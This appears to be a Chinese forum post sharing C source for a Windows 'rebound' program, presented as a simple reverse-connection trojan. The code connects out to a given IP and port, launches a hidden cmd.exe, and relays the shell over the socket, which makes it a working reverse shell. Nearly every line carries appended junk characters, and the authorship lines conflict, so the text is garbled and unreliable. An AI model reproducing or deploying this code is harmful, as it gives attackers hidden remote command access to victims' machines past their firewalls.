这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 DD+7V@
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/* ============================== z}77Eh<
Rebound port in Windows NT .FP$m?
By wind,2006/7 q<x/Hat)
===============================*/ g>E LGG|Q
#include TM__I\+Q
#include G=s}12/Z"{
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#pragma comment(lib,"wsock32.lib") <6%?OJhp
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void OutputShell(); GLH0 ]
SOCKET sClient; M~Tuj1?
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; p}}R-D&K
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void main(int argc,char **argv) H*?t^
{ Ea=8}6`s
WSADATA stWsaData; D=A&+6B@-
int nRet; v ,i%Q$
SOCKADDR_IN stSaiClient,stSaiServer; Si4!R+4w
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if(argc != 3) p#ZCvPE;uH
{ m+`cS=-.
printf("Useage:\n\rRebound DestIP DestPort\n"); nI?[rCM
return; ch*8B(:
} (U DnsF
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WSAStartup(MAKEWORD(2,2),&stWsaData); Pa>AWOG'
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); RN1y^`
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stSaiClient.sin_family = AF_INET; r8t}TU>C
stSaiClient.sin_port = htons(0); j7Yu>cr
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); h]5(].
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 9 &dtd
{ S3C]AhW;
printf("Bind Socket Failed!\n"); ^ox=HNV
return; j.[.1G*("
} 0Uz"^xO["
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stSaiServer.sin_family = AF_INET; L8@f-Kk
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); c`)\Pb/O
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); KWbI'}_z
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ~p6 V,Q
{ u4cnE"
printf("Connect Error!"); &C5_g$Ma.Z
return; g\|PcoLm
} R3f89
OutputShell(); V5@:#BIs
} `GBW%X/
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void OutputShell() -u+vJ6EY
{ DaQ?\uq
char szBuff[1024]; u= *FI
SECURITY_ATTRIBUTES stSecurityAttributes; c1(RuP:S
OSVERSIONINFO stOsversionInfo; .|KyNBn
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; G{~J|{t\yz
STARTUPINFO stStartupInfo; (Bb5?fw
char *szShell; 5X:AbF
PROCESS_INFORMATION stProcessInformation; '`[&}R
unsigned long lBytesRead; oi7@s0@
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); nt;m+by
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); b<[Or^X
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stSecurityAttributes.lpSecurityDescriptor = 0; *uRBzO}
stSecurityAttributes.bInheritHandle = TRUE; =`oCLsz=
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); dmtr*pM_
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); wQl
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); c%
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; caR<Kb:;*
stStartupInfo.wShowWindow = SW_HIDE; ,$L4dF3
stStartupInfo.hStdInput = hReadPipe; aH(J,XY
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ,Q$q=E;X
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GetVersionEx(&stOsversionInfo); F@7jx:tI
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switch(stOsversionInfo.dwPlatformId) "m$##X\
{ U BU=9a5
case 1: tyDU
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szShell = "command.com"; ' ,wFTV&
break; yNJ B
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default: gnf8l?M
szShell = "cmd.exe"; 8}x:`vDK
break; tmYz R%i
} y3Qsv
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); !x=~g"d<&
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send(sClient,szMsg,77,0); u(.e8~s8
while(1) B2vh-%63
{ `:fZ)$sY
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); :A_@,Q
if(lBytesRead) ,Ks8*;#r
{ WM$
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); LKB$,pR~1l
send(sClient,szBuff,lBytesRead,0); Y=?3 js?O
} cGzPI+F
else OX0%C.K)hZ
{ i v38p%Zm
lBytesRead=recv(sClient,szBuff,1024,0); :uS\3toj
if(lBytesRead<=0) break; =U9*'EFr
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); q'F+OQb1
} 3AtGy'NTp
} "Qc7dRmSxm
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return; B)g[3gQ
}